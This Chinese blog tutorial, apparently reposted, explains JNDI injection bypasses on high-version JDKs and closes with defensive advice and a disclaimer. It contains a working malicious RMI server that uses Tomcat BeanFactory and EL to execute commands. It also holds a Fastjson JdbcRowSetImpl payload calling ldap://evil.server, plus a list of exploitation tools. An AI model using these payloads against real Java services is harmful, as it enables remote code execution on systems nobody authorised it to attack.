文章总结: 本文深度解析高版本JDK下JNDI注入的绕过技术,指出虽然JDK6u132/7u122/8u113后默认禁用远程类加载,但攻击转向利用本地Gadget。核心绕过方式包括远程Reference结合本地Gadget(如TomcatBeanFactory利用EL表达式)、本地Reference(WebLogic等中间件专有链)及LDAP+反序列化(主流方式)。文章强调成功前提是目标ClassPath中存在危险类,并提供禁用高危类、升级组件、输入过滤等防御建议,同时推荐JNDI注入与反序列化相关工具。 综合评分: 88 文章分类: 漏洞分析,Java安全,Web安全,红队,安全开发
第103天-Java安全攻防:JNDI注入高版本JDK绕过Bypass深度解析
原创
Сяо Яо Сяо Яо
AlphaNet
2026年3月23日 11:43 韩国
🧭 引言:老树开新花,JNDI注入的“后高版本时代”
嗨,各位未来的白帽大师和安全开发者们!👋
提到 Java 安全,JNDI 注入绝对是绕不开的经典漏洞之一。但随着 JDK 版本不断升级(尤其是 6u132、7u122、8u113 之后),官方对远程类加载进行了严格限制:
-
trustURLCodebase = false(默认) -
RMI / LDAP 远程加载被禁用
看起来,这条经典 RCE 利用链似乎已经“凉了”。
但现实是——
👉 它不仅没死,反而进化得更隐蔽、更危险。
今天,我们就来深入拆解:
高版本 JDK 下,JNDI 注入是如何被绕过(Bypass)的。
🧐 一、是什么:高版本JDK到底限制了什么?
核心变化其实就两点:
1️⃣ RMI 限制
com.sun.jndi.rmi.object.trustURLCodebase = false
👉 不再允许从远程 URL 加载 class
2️⃣ LDAP 限制
com.sun.jndi.ldap.object.trustURLCodebase = false
👉 LDAP 返回的远程 Reference 也无法加载恶意类
✅ 一句话总结
❌ 禁止远程类加载
✅ 但没有禁止本地类利用
🤔 二、为什么还能绕过?
关键点就一句话:
👉 攻击从“远程加载类” → 转向“利用本地类”
攻击思路发生了根本变化:
🔥 核心绕过思路
✔ 本地 Gadget 利用
目标 CLASSPATH 中本来就存在危险类
✔ LDAP 反序列化
通过 javaSerializedData 触发反序列化链
✔ 中间件助攻
如:
-
Tomcat
-
WebLogic
-
Fastjson
-
Jackson
-
Druid
⚠️ 本质变化
| 旧时代 | 新时代 | | — | — | | 远程加载 class | 本地 Gadget 利用 | | Codebase 注入 | 反序列化链 | | 依赖 JDK | 依赖应用 |
🛠️ 三、怎么做:三大主流Bypass姿势
🔥 1. 远程 Reference + 本地 Gadget(最经典)
👉 利用 Tomcat 的 BeanFactory
📌 攻击流程
-
搭建恶意 RMI 服务
-
返回 Reference 对象
-
指定工厂类为:
org.apache.naming.factory.BeanFactory
-
利用 EL 表达式执行命令
-
触发 RCE
💣 示例代码(RMI攻击端)
// 注意:仅用于安全研究
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilRMIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference ref = new Reference(
"javax.el.ELProcessor",
"org.apache.naming.factory.BeanFactory",
null
);
ref.add(new StringRefAddr("forceString", "x=eval"));
String cmd = "Runtime.getRuntime().exec(\"calc.exe\")";
String payload =
"String.class.forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"js\").eval(\"" + cmd + "\")";
ref.add(new StringRefAddr("x", payload));
registry.bind("evil", new ReferenceWrapper(ref));
System.out.println("RMI Server Running...");
}
}
⚙️ 2. 本地 Reference(中间件专用链)
👉 常见于 WebLogic / JBoss
特点:
-
不依赖远程服务器
-
利用内部 JNDI 资源
-
更隐蔽
💥 3. LDAP + 反序列化链(最常见)
👉 当前主流打法
📌 攻击流程
-
搭建 LDAP 服务器
-
返回数据:
javaClassName
javaSerializedData
-
触发反序列化
-
利用 Gadget 链执行命令
💣 Fastjson 触发示例
// 恶意 JSON
String payload = "{
\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",
\"dataSourceName\":\"ldap://evil.server:1389/Exploit\",
\"autoCommit\":true
}";
// 受害代码
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
JSON.parse(payload);
}
}
🔧 四、实战工具推荐(红队必备)
🧰 JNDI 工具链
| 工具 | 说明 | | — | — | | JNDIMap | 全能利用工具 | | JNDI-Injection-Exploit-Plus | 增强版 | | JNDIBypass | 专攻高版本绕过 |
🧨 反序列化工具
| 工具 | 说明 | | — | — | | JYso | Gadget生成 | | ysoserial | 经典工具 | | java-chains | 利用链研究 |
🧠 五、核心总结(重点记住)
✅ 高版本变化
-
❌ 禁止远程类加载
-
✅ 允许本地类利用
✅ 三大利用路径
-
本地 Gadget(BeanFactory)
-
中间件链
-
LDAP + 反序列化(主流)
✅ 成功前提
👉 CLASSPATH 中必须存在 Gadget
🔐 六、防御建议(蓝队重点)
🛡️ 1. 禁用高危类
-
JdbcRowSetImpl -
ELProcessor
🛡️ 2. 升级组件
-
Fastjson → 安全版本
-
Jackson → 最新版本
🛡️ 3. 关闭 JNDI
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false");
🛡️ 4. 输入过滤
-
禁止
ldap:// -
禁止
rmi://
🎯 七、思考题(进阶)
👉 除了:
-
BeanFactory
-
CommonsCollections
你还能找到哪些:
“天然存在于 CLASSPATH 的武器级 Gadget?”
🎉 结尾
JNDI 注入从未消失,它只是变了形态。
从“远程投毒” → 到“本地引爆”
这正是现代 Java 安全最典型的趋势:
👉 漏洞越来越少,但利用越来越深。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet Сяо Яо Сяо Яо《第103天-Java安全攻防:JNDI注入高版本JDK绕过Bypass深度解析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论